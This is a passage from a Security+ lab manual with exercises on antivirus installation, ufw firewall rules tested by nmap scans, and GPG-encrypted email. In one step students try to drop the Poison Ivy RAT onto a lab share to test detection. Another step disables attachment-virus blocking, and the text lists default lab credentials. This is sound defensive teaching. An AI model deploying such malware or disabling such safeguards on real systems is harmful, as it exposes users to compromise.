10. On the McAfee End User License Agreement screen, select I Accept the Terms in the License Agreement and click OK.
11. On the Select Setup Type screen, select Custom and click Next.
ch07.indd 182 11/4/10 1:09:53 PM
Lab 7.2w: Antivirus in Windows 183
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
12. On the Select Access Protection Level screen, read the two options.
Which of the two options will least impact the functionality of the computer?a.
Which of the two options will provide the best protection against viruses and malware?b.
13. Select Maximum Protection and click Next.
14. On the Feature Selection screen, click Next.
15. On the Install McAfee Products screen, click Next.
16. On the Product Configuration screen, ensure that Enable On-Access Scanner at the End of Installation is checked and click Next.
17. On the Security Configuration screen:
In the Configuration Password Protection section, for the password type a. C$LM2Emgh! (derived from the phrase “Computer Security Lab Manual Second Edition McGraw-Hill!”).
In the Confirm Password box, retype the password.b.
Click Next.c.
18. On the Ready to Install screen, click Install.
19. On the McAfee VirusScan Enterprise Setup Has Completed Successfully screen, clear the Update Now check box and click Finish.
VirusScan will begin a scan now, as shown in Figure 7-4.
Figure 7-4 On-demand virus scan
ch07.indd 183 11/4/10 1:09:54 PM
Chapter 7: Hardening the Host Computer184
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
➜ Note
It is always important to update your virus scan engine and signature files. For this lab, you
will not do so because your systems are not configured for Internet access.
20. On the Old DAT Files screen, click OK.
While the system is being scanned, you will test the ability of VirusScan to detect malicious code.
Step 3: Attempt to deploy malware.
On the Windows XP machine:
1. Choose Start | Run, type \\192.168.100.102 in the Open field, and press enter.
2. On the Login screen, enter the username Administrator and the password adminpass, and click OK.
3. Double-click Shared Folder.
4. On the Windows XP desktop, double-click the Tools folder.
5. Double-click the PI232 folder.
In the folder you will see a PDF file and the Poison Ivy malware.
6. Navigate back up to the parent folder.
7. Drag-and-drop the PI232 folder into the Shared folder of the Windows 2003 folder.
What happens when you drop the folder?a.
What files are in the folder on the Windows 2003 Server PC?b.
8. Try dropping other files that are malicious and see if you are able to do it successfully.
Were any files successfully dropped into the Shared folder?
Step 4: Log off from both the Windows XP Professional and Windows 2003 Server PCs.
At the Windows 2003 Server PC:
1. Choose Start | Shutdown.
2. At the Shutdown Windows screen, click the drop-down arrow and select Log Off Administrator.
3. Click OK.
At the Windows XP Professional PC:
1. Choose Start | Log Off.
2. At the Log Off Windows screen, click Log Off.
ch07.indd 184 11/4/10 1:09:54 PM
Lab 7.2w: Antivirus in Windows 185
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
Lab 7.2 Analysis Questions The following questions apply to the lab in this section:
1. What characteristics of data does antivirus software protect?
2. What disadvantages are there to using antivirus software?
3. A friend of yours calls you and says he thinks his computer is infected with a virus but does not understand how that could be since he has antivirus software on it. What could have led
to his computer being infected even though he has antivirus software?
Lab 7.2 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
antivirus software
on-demand scanning
real-time scanning
signature database
1. Antivirus software is really only good if its __________________ is up to date.
2. ___________________ will protect your computer while you are operating it, but it will also reduce the number of CPU cycles available for other applications.
Follow-Up Lab Lab 7.3• : Using Firewalls Learn how to block unwanted traffic with firewalls.
Suggested Experiments 1. Visit several different antivirus vendor web sites and compare the features of each product.
Be sure to check newsgroups and third-party reviews.
2. Microsoft now has its own antivirus utility (Microsoft Security Essentials). Compare its effectiveness with other products.
3. Test antivirus solutions for Linux, such as ClamAV.
ch07.indd 185 11/4/10 1:09:54 PM
Chapter 7: Hardening the Host Computer186
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
References McAfee• www.McAfee.com
Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 13
Lab 7.3: Using Firewalls A firewall is a device that blocks or allows network traffic based on a ruleset. There are many types of
firewalls. They can be software programs, hardware devices, or combinations of the two. A network can
have multiple layers of firewalls to perform specific functions based on location. A host-based firewall or
personal firewall is another layer in a defense-in-depth strategy. If malicious traffic should make it past
the perimeter defense, it can still be blocked at the host with a personal firewall.
As mentioned, a firewall determines what traffic to pass and what traffic to block based on a
ruleset. These are the characteristics of the traffic that the firewall will look to match. Based on the
match, it can decide to pass the traffic or block it. Blocking traffic is also called filtering.
One of the challenges of designing rulesets that work appropriately for your network is that you
don’t want your rules to be too permissive or too restrictive. Being too permissive may be about as
good as having no firewall. Being too restrictive might be about as good as not having any network.
Host-based firewalls are a good way to protect the data that is stored on the machine from all types of
intrusions.
In this lab, you will install and configure a personal firewall. You will then test how the firewall
works with different types of network traffic.
Learning Objectives At the end of this lab, you’ll be able to
Install personal firewall software.•
Explain the benefits and disadvantages of using a firewall.•
Test firewall rulesets.•
S 30 minutes
Lab 7.3l: Configuring a Personal Firewall in Linux The standard Linux kernel has a packet-filtering system named netfilter. The most common hook into
netfilter is a system called iptables. Using iptables, an administrator can configure a Linux machine to
be a firewall, a router, or a proxy. However, doing these manipulations can be a little complicated. The
distributions that you are using are based on Ubuntu, which has a system to make the manipulations
not so complicated. Its firewall system is called ufw (Un-Complicated Firewall) and is a wrapper on top
of iptables. Although you will be using ufw, to be proficient, you should understand iptables as well.
ch07.indd 186 11/4/10 1:09:54 PM
Lab 7.3l: Configuring a Personal Firewall in Linux 187
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
When using iptables, all packets are subject to one of three chains of rules. INPUT rules are for
packets that are addressed to the local machine. FORWARD rules are those that are used for packets
that are traversing the Linux box in router mode. OUTPUT rules are those that are used for packets
originating on the local machine and being sent to another machine. Each of these rules chains needs
to be configured by the administrator to ensure that packets are permitted where desired and blocked
where not desired. The Linux command iptables is used to manage these ruleset chains. You will be
using the command ufw to configure your server.
Materials and Setup You will need the following:
Metasploitable•
BackTrack•
Lab Steps at a Glance
Step 1: Log on to both the Backtrack and Metasploitable PCs.
Step 2: Configure ufw to allow SSH.
Step 3: Test the firewall and examine the logs.
Step 4: Tweak and test the security and functioning of services.
Step 5: Log off from the BackTrack and Metasploitable PCs.
Lab Steps
Step 1: Log on to both the BackTrack and Metasploitable PCs.
To log on to the Metasploitable PC:
1. At the login prompt, type msfadmin and press enter.
2. At the password prompt, type msfadmin and press enter.
To log on to the BackTrack PC:
1. At the login prompt, type root and press enter.
2. At the password prompt, type toor and press enter.
Step 2: Configure ufw to allow SSH.
On the Metasploitable PC:
1. To do this lab, you must be a superuser. Therefore, use sudo to become root. Type sudo su – and press enter. When asked for a password, type msfadmin and press enter.
ch07.indd 187 11/4/10 1:09:55 PM
Chapter 7: Hardening the Host Computer188
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
Next you will check whether ufw is running and, if not, enable it.
2. Type ufw status and press enter.
What is the status of ufw?a.
3. Ensure that you have logging of firewalls enabled. Type ufw logging on and press enter to enable the logging.
4. Set up a rule to allow ssh so that you can remotely configure the firewall. Type ufw allow ssh and press enter.
5. Set up the system to use ufw by typing the command ufw enable and pressing enter.
6. Try the command ufw status again and see if anything is different now.
7. You can now see what ufw has set up. Type iptables –L and press enter.
Analyze the output.a.
Does the output look complicated?b.
If you have worked with firewall configuration files previously, how does this compare?c.
Step 3: Test the firewall and examine the logs.
On the BackTrack PC:
1. At the command line, type nmap –sT 192.168.100.202 and press enter.
What information did Nmap return regarding the target computer?
2. At the command line, type lynx 192.168.100.202 and press enter.
Were you able to see the web page?
3. At the command line, type ftp 192.168.100.202 and press enter.
Were you able to connect? If not, type quit to exit the ftp prompt.
Step 4: Tweak and test the security and fuctioning of services.
Although you have secured the server, you have disabled the web and FTP services that you needed for
that machine. You now have to enable those services.
On the Metasploitable PC:
1. Type ufw status and press enter to see the current configuration.
2. View the available options by running man ufw.
3. You can add the web services by typing ufw allow 80 and pressing enter. You can allow FTP services by typing ufw allow ftp and pressing enter. Note that you can use the option –dry-run
to see how UFW would set up the iptables.
ch07.indd 188 11/4/10 1:09:55 PM
Lab 7.3l: Configuring a Personal Firewall in Linux 189
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
4. Type ufw status and press enter.
Analyze the output.
Now you can go back to the client and try the tests again.
5. At the command line, type lynx http://192.168.100.202 and press enter.
Did you get a web page?
6. At the command line, type ftp 192.168.100.202 and press enter.
Were you able to connect?a.
Type b. quit to exit the ftp prompt.
7. At the command line, type nmap –sT 192.168.100.202 and press enter.
What information did Nmap return regarding the target computer?
Step 5: Log off from the BackTrack and Metasploitable PCs.
1. At the BackTrack PC command line, type logout and press enter.
2. At the Metasploitable PC command line, type logout and press enter.
Lab 7.3 Analysis Questions The following questions apply to the lab in this section:
1. Host-based firewalls protect what characteristics of data?
2. What functionality or convenience may be lost when introducing a firewall?
3. You are trying to access an FTP server but cannot connect. Other users are able to connect. You determine that your personal firewall is too restrictive. How do you configure your
personal firewall to allow FTP traffic?
Lab 7.3 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
filter
firewall
FORWARD
ch07.indd 189 11/4/10 1:09:56 PM
Chapter 7: Hardening the Host Computer190
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
host-based firewall
INPUT
iptables
OUTPUT
personal firewall
ruleset
ufw
1. A network device used to allow or deny traffic is called a(n) _______________________.
2. A device that is used on a host to allow or deny traffic is called a(n) _____________________ or _____________________.
3. IP-based packet filtering is built into Linux and accessible through ___________________.
4. The Linux utility __________________ assists users in the development of filtering rules for iptables.
5. The ____________________________ is invoked for packets that enter the Linux host and are addressed to that host specifically.
Suggested Experiment After setting up the firewall, try making other services available while keeping other ports closed. Run
Nmap and a vulnerability assessment tool such as OpenVAS to test the security of the machine again.
Reference Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 13
ch07.indd 190 11/4/10 1:09:56 PM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8 / Blind Folio 191
Securing Network Communications
Labs Lab 8.1 Using GPG to Encrypt and Sign E-Mail•
Lab 8.1m Using GPG in Windows
Lab 8.1 Analysis Questions
Lab 8.1 Key Terms Quiz
Lab 8.2 Using Secure Shell (SSH)•
Lab 8.2l Using Secure Shell in Linux
Lab 8.2m Using Secure Shell in Windows
Lab 8.2 Analysis Questions
Lab 8.2 Key Terms Quiz
Lab 8.3 Using Secure Copy (SCP)•
Lab 8.3l Using Secure Copy in Linux
Lab 8.3m Using Secure Copy in Windows
Lab 8.3 Analysis Questions
Lab 8,3 Key Terms Quiz
Lab 8.4 Using Certificates and SSL•
Lab 8.4l Using Certificates and SSL in Linux
Lab 8.4 Analysis Questions
Lab 8.4 Key Terms Quiz
Lab 8.5 Using IPsec•
Lab 8.5w Using IPsec in Windows
Lab 8.5 Analysis Questions
Lab 8.5 Key Terms Quiz
Chapter 8
ch08.indd 191 11/17/10 5:17:41 PM
Chapter 8: Securing Network Communications192
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
As discussed earlier, data can exist in three states: storage, processing, and transmission. Arguably, the security characteristics of data
(confidentiality, integrity, and availability) are most vulnerable during
transmission. We have seen in Parts I and II that many of the commonly
used protocols transmit data in the clear and thus the confidentiality
of the data can easily be compromised. We have also seen that the
integrity of data can be compromised during transmission such that the
information about the source may be fake. This chapter reviews some of
the technologies available to secure data as it traverses the network.
➜ Note
Instructions for setting up all environments used in this chapter can be found on the book’s
companion online learning center at www.securityplusolc.com.
Lab 8.1: Using GPG to Encrypt and Sign E-Mail Many protocols and applications used in the TCP/IP suite transmit data in the clear. This leaves the
data open to interception. One way to prevent the compromise of the confidentiality of the data is to
encrypt the data. Encryption is the process of converting the information into a form that cannot be
understood by anyone except the intended recipient. The text in its original form is called plaintext and
the encrypted text is called ciphertext. The data is encrypted using an algorithm and a key. There are
two types of algorithms that are used today: symmetric and asymmetric. With symmetric encryption,
both the sender and the receiver have the same key. With asymmetric encryption, also known as public
key encryption, there are two keys, a public key and a private key (or secret key).
In public key encryption, the public key gets distributed to all parties that wish to communicate
securely with its owner. The public key can be looked at like a safe with its door open. When person
A wants to send a message to person B, person A puts the message in person B’s safe and closes it
(encrypting the message with person B’s public key). Once it is closed, only the owner of the safe can
open it (only person B can open it with his or her private key). Not even the person who originated the
message can see it or decrypt it.
Encryption technology can also be used to demonstrate integrity in a message. A hash of the
message is encrypted using the sender’s private key. Anyone can decrypt the encrypted hash value using
the public key. The recipient can take the message, compute the hash, decrypt the original hash, and
compare them. If they are the same, then the message is unchanged. Since only the sender can properly
encrypt the original hash, then even if someone changes the message en route and attempts to change
the hash, the encrypted version of the hash will not be decryptable via the sender’s public key.
ch08.indd 192 11/17/10 5:17:41 PM
Lab 8.1m: Using GPG in Windows 193
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Public key encryption can also be used to establish authentication and nonrepudiation. Authentication
is the process of ensuring someone is who they say they are. The secret key is used to sign the data. The
recipient, who should have your public key, can then use it to check if the message actually came from
you. Nonrepudiation is a measure that ensures a person cannot deny that they sent a message.
While using public key encryption is a great way to secure data in transmission, there are a number
of issues to consider. Implementing public key encryption requires a bit of configuration on all the users’
computers as well as training to go along with it. Key management is also important. Key management
is the process of generating, distributing, and revoking keys as necessary.
Gnu Privacy Guard (GPG) is a free tool that implements public key encryption. It can be used
to protect data both in transmission and in storage. It is available for both the Windows and Linux
operating systems.
In this lab, you will use GPG to generate a key pair, exchange keys with a recipient, and encrypt and
decrypt an e-mail message.
Learning Objectives At the end of this lab, you’ll be able to
Explain the steps involved in using GPG to encrypt messages.•
Use GPG to generate a public/private key pair.•
Export the public key.•
Import and verify another user’s public key.•
Sign and trust another user’s public key.•
Encrypt a message.•
Decrypt a message.•
Explain the characteristics of data and the states of data that GPG protects.•
S 75 minutes
Lab 8.1m: Using GPG in Windows
Materials and Setup You will need the following:
Windows XP Professional•
Windows 2003 Server•
Metasploitable•
ch08.indd 193 11/17/10 5:17:41 PM
Chapter 8: Securing Network Communications194
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Lab Steps at a Glance
Step 1: Start the Windows XP Professional, Windows 2003 Server, and Metasploitable computers.
Log on to the Windows XP and Windows 2003 Server PCs.
Step 2: Set up the Outlook Express e-mail client on the Windows XP PC.
Step 3: Install WinPT and generate a key pair on the Windows XP PC.
Step 4: Export the public key on the Windows XP PC.
Step 5: Set up the Outlook Express e-mail client on the Windows 2003 Server PC.
Step 6: Install WinPT and generate a key pair on the Windows 2003 Server PC.
Step 7: Export the public key on the Windows 2003 Server PC.
Step 8: Exchange keys on the Windows XP PC.
Step 9: Exchange keys on the Windows 2003 Server PC.
Step 10: Import, verify, sign, and trust the key on the Windows XP PC.
Step 11: Import, verify, sign, and trust the key on the Windows 2003 Server PC.
Step 12: Send an encrypted message on the Windows XP PC.
Step 13: Send an encrypted message on the Windows 2003 Server PC.
Step 14: Decrypt a message on the Windows XP PC.
Step 15: Decrypt a message on the Windows 2003 Server PC.
Step 16: Log off from the Windows XP Professional and Windows 2003 Server PCs.
Lab Steps
Step 1: Start the Windows XP Professional, Windows 2003 Server, and Metasploitable
computers. Log on to the Windows XP and Windows 2003 Server PCs.
To log on to the Windows XP Professional PC:
At the Login screen, click the Admin icon.1.
In the password text box, type 2. password and press enter.
To log on to the Windows 2003 Server PC:
At the Login screen, press 1. ctrl-alt-del.
Enter the username 2. administrator and the password adminpass.
Click OK.3.
ch08.indd 194 11/17/10 5:17:42 PM
Lab 8.1m: Using GPG in Windows 195
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Step 2: Set up the Outlook Express e-mail client on the Windows XP PC.
Choose Start | All Programs | Outlook Express.1.
On the Your Name screen, type 2. labuser in the Display Name box and click Next. If you do not see a Your Name screen, then click the Set Up a Mail Account link.
On the Internet E-Mail Address screen, type 3. [email protected] in the E-Mail Address box and click Next.
On the E-Mail Server Names screen, you will notice that the incoming mail server is a POP3 4. server.
In the Incoming Mail box, type a. linuxserv.security.local.
In the Outgoing Mail box, type b. linuxserv.security.local.
Click Next.c.
On the Internet Mail Logon screen:5.
In the Account name box, type a. labuser.
In the Password box, type b. password.
➜ Note
The password used here is weak because it was used in earlier chapters to illustrate the
vulnerability it creates. When setting up an e-mail account, using strong passwords is always
an important action.
Make sure the check box Remember Password is checked. If not, check it.c.
Click Next.d.
On the Congratulations screen, click Finish.6.
On the menu bar, choose Tools | Options.7.
Click the Security tab.8.
Clear the check box Do Not Allow Attachments to Be Saved or Opened That Could Potentially 9. Be a Virus. If you do not disable this option, Outlook Express will not allow you to receive the
public key.
Click OK.10.
Test the e-mail account to be certain the settings are correct.
On the Outlook Express toolbar, click Create Mail.11.
In the To box, type 12. [email protected].
ch08.indd 195 11/17/10 5:17:42 PM
Chapter 8: Securing Network Communications196
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
In the Subject box, type 13. Testing loop labuser.
In the Message box, type 14. This is a test. This is only a test to see if I can e-mail myself.
Click Send.15.
Click Send/Receive and wait a few seconds.16.
If you have not received your e-mail when Outlook Express is done retrieving mail, click a. Send/Receive again.
Check this e-mail.b.
You should now have a message in your inbox. If not, go back and check the settings. Be sure
that the Metasploitable PC (which is the mail server) and the Windows 2003 Server PC (which
is the DNS server) are running and that you have network connectivity to them.
Minimize Outlook Express.17.
Step 3: Install WinPT and generate a key pair on the Windows XP PC.
Double-click the Tools folder.1.
Double-click Winpt-install-1.0rc2.2.
On the Installer Language screen, select English and click OK.3.
On the Welcome to the Windows Privacy Tools Setup Wizard screen, click Next.4.
On the License Agreement screen, click I Agree.5.
On the Choose Install Location screen, click Next.6.
On the Choose Components screen, click Next.7.
On the Choose Start Menu Folder screen, click Next.8.
On the Select Additional Tasks screen, click Next.9.
On the next Select Additional Tasks screen, click Install.10.
On the Completing the Windows Privacy Tools Setup Wizard screen, click Finish.11.
The Readme file will open in Notepad and a message window from WinPT will open. The
message states “Something seems to be wrong with your GPG keyrings. When this is by
accident, quit the program and fix it. Otherwise continue with the config. Continue?” This
message is fine. The thing “wrong” according to the program is that you do not have a key
ring. You will select Yes, but do that after the next step.
Read through the Readme file.12.
Is GnuPG compatible with OpenPGP?a.
Is GnuPG free for personal and commercial use?b.
Close the Readme file.c.
ch08.indd 196 11/17/10 5:17:42 PM
Lab 8.1m: Using GPG in Windows 197
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
On the WinPT screen, click Yes to continue.13.
On the screen labeled Windows Privacy Tray, select Have WinPT to Generate a Key Pair and 14. click OK.
On the Key Generation screen:15.
Key Type should be DSA and ELG (default).a.
Subkey Size in Bits should be 1792.b.
For User Name, type c. labuser.
For Comment, type d. Testing Gnupg encryption.
For Email Address, type e. [email protected].
For Passphrase, type f. SecurePW123!.
For Repeat Passphrase, type g. SecurePW123!.
Click Start.h.
The Key Generation screen will appear with characters indicating progress. When it is 16. finished, the window will close.
On the screen labeled Key Generation Completed, click OK.17.
On the Warning screen, click Yes to back up the key rings.18.
On the screen Destination for the Pubring, click Save for the default location.19.
On the screen Destination for the Secring, click Save.20.
Step 4: Export the public key (on the Windows XP PC).
Right-click the WinPT icon in the system tray, and select Key Manager. Figure 8-1 shows the 1. Key Manager window that opens.
Double-click the key that is listed.2.
What is the Key ID?a.
What is the Key Fingerprint?b.
Click OK.c.
On the Key Manager menu bar, choose Key | Export.3.
On the Choose Filename for Key screen, type 4. labuser.pub in the Filename box and click Save.
In the Key Manager dialog box, click OK.5.
Minimize the Key Manager.6.
ch08.indd 197 11/17/10 5:17:43 PM
Chapter 8: Securing Network Communications198
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Step 5: Set up the Outlook Express e-mail client on the Windows 2003 Server PC.
Choose Start | All Programs | Outlook Express.1.
On the Your Name screen, type 2. labuser2 in the Display Name box and click Next.
On the Internet E-Mail Address screen, type 3. [email protected] in the E-Mail Address box and click Next.
On the E-Mail Server Names screen: 4.
Verify that the incoming mail server is a POP3 server.a.
In the Incoming Mail box, type b. linuxserv.security.local.
In the Outgoing Mail box, type c. linuxserv.security.local.
Click Next.d.
On the Internet Mail Logon screen:5.
In the Account Name box, type a. labuser2.
In the Password box, type b. password.
Make sure the check box Remember Password is checked. If not, check it.c.
Click Next.d.
On the Congratulations screen, click Finish.6.
Test the e-mail account to be certain the settings are correct.
Figure 8-1 The WinPT Key Manager
ch08.indd 198 11/17/10 5:17:44 PM
Lab 8.1m: Using GPG in Windows 199
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
On the Outlook Express toolbar, click Create Mail.7.
In the To box, type 8. [email protected].
In the Subject box, type 9. Testing loop labuser2.
In the Message box, type 10. This is a test. This is only a test to see if I can e-mail myself.
Click Send.11.
Click Send/Receive and wait a few seconds.12.
If you have not received your e-mail when Outlook Express is done retrieving mail, click
Send/Receive again.
You should now have a message in your inbox. If not, go back and check the settings. Be sure
that the Metasploitable PC (which is the mail server) and the Windows 2003 Server PC (which
is the DNS server) are running and that you have network connectivity to them.
Minimize Outlook.13.
Step 6: Install WinPT and generate a key pair on the Windows 2003 Server PC.
From the desktop, open the Tools folder and then the Winpt folder.1.
Double-click Winpt-install-1.0rc2.2.
On the Installer Language screen, select English and click OK.3.
On the Welcome to the Windows Privacy Tools Setup Wizard screen, click Next.4.
On the License Agreement screen, click I Agree.5.
On the Choose Install Location screen, click Next.6.
On the Choose Components screen, click Next.7.
On the Choose Start Menu Folder screen, click Next.8.
On the Select Additional Tasks screen, click Next.9.
On the next Select Additional Tasks screen, click Install.10.
On the Completing the Windows Privacy Tools Setup Wizard screen, click Finish.11.
The Readme file will open in Notepad and a message window from WinPT will open. Read
through the Readme file.
Is GnuPG compatible with OpenPGP?a.
Is GnuPG free for personal and commercial use?b.
Close the Readme file.c.
On the WinPT screen, click Yes to continue.12.
On the screen labeled Windows Privacy Tray, select Have WinPT to Generate a Key Pair and 13. click OK.
ch08.indd 199 11/17/10 5:17:44 PM
Chapter 8: Securing Network Communications200
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
On the Key Generation screen:
Key Type should be DSA and ELG (default).a.
Subkey Size in Bits should be 1792.b.
For User Name, type c. labuser2.
For Comment, type d. Testing Gnupg encryption.
For Email Address, type e. [email protected].
For Passphrase, type f. SecurePW123!.
For Repeat Passphrase, type g. SecurePW123!.
Click Start.h.
The Key Generation screen will appear with characters indicating progress. When it is finished, 14. the window will close.
On the screen labeled Key Generation Completed, click OK.15.
On the Warning screen, click Yes to back up the key rings.16.
On the screen Destination for the Pubring, click Save for the default location.17.
On the screen Destination for the Secring, click Save.18.
Step 7: Export the public key on the Windows 2003 Server PC.
Right-click the WinPT icon in the system tray and select Key Manager.1.
Double-click the key that is listed.2.
What is the Key ID?a.
What is the Key Fingerprint?b.
Click OK.c.
On the Key Manager menu bar, choose Key | Export.3.
On the Choose Filename for Key screen, type 4. labuser2.pub in the Filename box and click Save.
In the Key Manager dialog box, click OK.5.
Minimize the Key Manager.6.
Step 8: Exchange keys on the Windows XP PC.
Restore Outlook Express and click Create Mail on the toolbar.1.
In the To box, type 2. [email protected].
ch08.indd 200 11/17/10 5:17:44 PM
Lab 8.1m: Using GPG in Windows 201
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
In the Subject: box, type 3. My Public Key.
In the Message box, type 4. Here is my public key. Import this into your key ring.
Click Attach.5.
Select the file labuser.pub.6.
Click Send.7.
Click Send/Receive.8.
Step 9: Exchange keys on the Windows 2003 Server PC.
On the Outlook Express toolbar, click Create Mail.1.
In the To box, type 2. [email protected].
In the Subject box, type 3. My Public Key.
In the Message box, type 4. Here is my public key. Import this into your key ring.
Click Attach.5.
Select the file labuser2.pub.6.
Click Send.7.
Click Send/Receive and wait a few seconds.8.
Step 10: Import, verify, sign, and trust the key on the Windows XP PC.
Save the public key.1.
In Outlook Express, click the Inbox.a.
Double-click the e-mail with the subject My Public Key.b.
Right-click the attached file and select Save As.c.
Click Save to save it to the My Documents directory.d.
Close the e-mail.e.
Minimize Outlook Express.f.
Import the key.2.
Restore the WinPT Key Manager.a.
On the menu bar, choose Key | Import.b.
Select the file labuser2.pub and click Open.c.
On the screen File Import, select the key for labuser2 and click Import.d.
ch08.indd 201 11/17/10 5:17:45 PM
Chapter 8: Securing Network Communications202
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
On the screen Key Import Statistics, on the line labeled Number of Public Keys, you e. should see the number 1. Click OK.
On the menu bar, choose Key | Reload Key Cache.f.
On the screen asking if you really want to reload the key cache, click Yes.g.
Verify the key.3.
Right-click the key for labuser2 and select Key Properties.a.
Check that the fingerprint matches the fingerprint found when you first generated the b. keys. If you do not remember that fingerprint, go back to the machine and double-click
the key in the WinPT Key Manager to see the fingerprint as generated.
Click OK in the Key Properties window to close it.c.
Sign the key.4.
On the screen Key Manager, right-click the User ID labuser2 and select Sign.a.
On the Key Signing screen, in the box Passphrase, type b. SecurePW123! and click OK.
The screen Choose Signature Class will appear. Select 3 – I Have Done Very Careful c. Checking, and click OK.
In the WinPT box with the message Key Successfully Signed, click OK.d.
Double-click the User ID labuser2.e.
In the Key Properties box, click Change to Modify Ownertrust.f.
Select I Trust Fully and click OK.g.
On the GnuPG Status screen saying Ownertrust Successfully Changed, click OK.h.
On the Key Properties screen, click OK.i.
Close the Key Manager window.j.
Step 11: Import, verify, sign, and trust the key on the Windows 2003 Server PC.
Save the public key.1.
In Outlook Express, click the Inbox.a.
Double-click the e-mail with the subject My Public Key.b.
Right-click the attached file and select Save As.c.
Click Save to save it to the My Documents directory.d.
Close the e-mail.e.
Minimize Outlook Express.f.
ch08.indd 202 11/17/10 5:17:45 PM
Lab 8.1m: Using GPG in Windows 203
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Import the key.2.
Restore the WinPT Key Manager.a.
On the menu bar, choose Key | Import.b.
Select the file labuser.pub and click Open.c.
On the screen File Import, select the key for labuser and click Import.d.
On the screen Key Import Statistics, on the line labeled Number of Public Keys, you e. should see the number 1. Click OK.
On the menu bar, choose Key | Reload Key Cache.f.
On the screen asking if you really want to reload the key cache, click Yes.g.
Verify the key.3.
Right-click the key for labuser and select Key Properties.a.
Check that the fingerprint matches the fingerprint found when you first generated the b. keys. If you do not remember that fingerprint, go back to the machine and double-click
the key in the WinPT Key Manager to see the fingerprint as generated.
Sign the key.4.
In the screen Key Manager, right-click the User ID labuser and select Sign.a.
On the Key Signing screen, type b. SecurePW123! in the Passphrase box and click OK.
The screen Choose Signature Class will appear. Select 3 – I Have Done Very Careful c. Checking, and click OK.
In the WinPT box with the message Key Successfully Signed, click OK.d.
Double-click the User ID labuser.e.
In the Key Properties box, click Change to Modify OwnerTrust.f.
Select I Trust Fully and click OK.g.
On the GnuPG Status screen saying Ownertrust Successfully Changed, click OK.h.
On the Key Properties screen, click OK.i.
Close the Key Manager window.j.
Step 12: Send an encrypted message on the Windows XP PC.
Restore Outlook Express.1.
On the Outlook Express toolbar, click Create Mail.2.
In the To box, type 3. [email protected].
In the Subject box, type 4. Encrypted Message.
ch08.indd 203 11/17/10 5:17:45 PM
Chapter 8: Securing Network Communications204
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
In the Message box, type 5. Here is my encrypted message. You will be unable to verify that this is from me if you do not have my public key.
Click and drag to select the entire text of the document and then right-click and choose Copy.6.
Right-click the WinPT icon in the Windows system tray and choose Clipboard | Sign and Encrypt.7.
In the Sign and Encrypt window, select the labuser2 key and click OK.8.
The next box that appears asks for the passphrase for the user labuser. Type 9. SecurePW123! and click OK.
Select the text of the message again and click the Paste button. This will replace the message 10. that you could read with text that starts BEGIN PGP MESSAGE.
Click Send.11.
Click Send/Receive.12.
Step 13: Send an encrypted message on the Windows 2003 Server PC.
Restore Outlook Express.1.
On the Outlook Express toolbar, click Create Mail.2.
In the To box, type 3. [email protected].
In the Subject box, type 4. Encrypted Message.
In the Message box, type 5. Here is my encrypted message. You will be unable to verify that this is from me if you do not have my public key.
Click and drag to select the entire text of the document and then right-click and choose Copy.6.
Right-click the WinPT icon in the Windows system tray and choose Clipboard | Sign and 7. Encrypt.
In the Sign and Encrypt window, select the labuser key and click OK.8.
The next box that appears asks for the passphrase for the user labuser2. Type 9. SecurePW123! and click OK.
Select the text of the message again and click the Paste button. This will replace the message 10. that you could read with text that starts BEGIN PGP MESSAGE.
Click Send.11.
Click Send/Receive.12.
Step 14: Decrypt a message on the Windows XP PC.
In Outlook Express, click Send/Receive.1.
Double-click the e-mail with the subject Encrypted Message.2.
ch08.indd 204 11/17/10 5:17:46 PM
Lab 8.1m: Using GPG in Windows 205
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
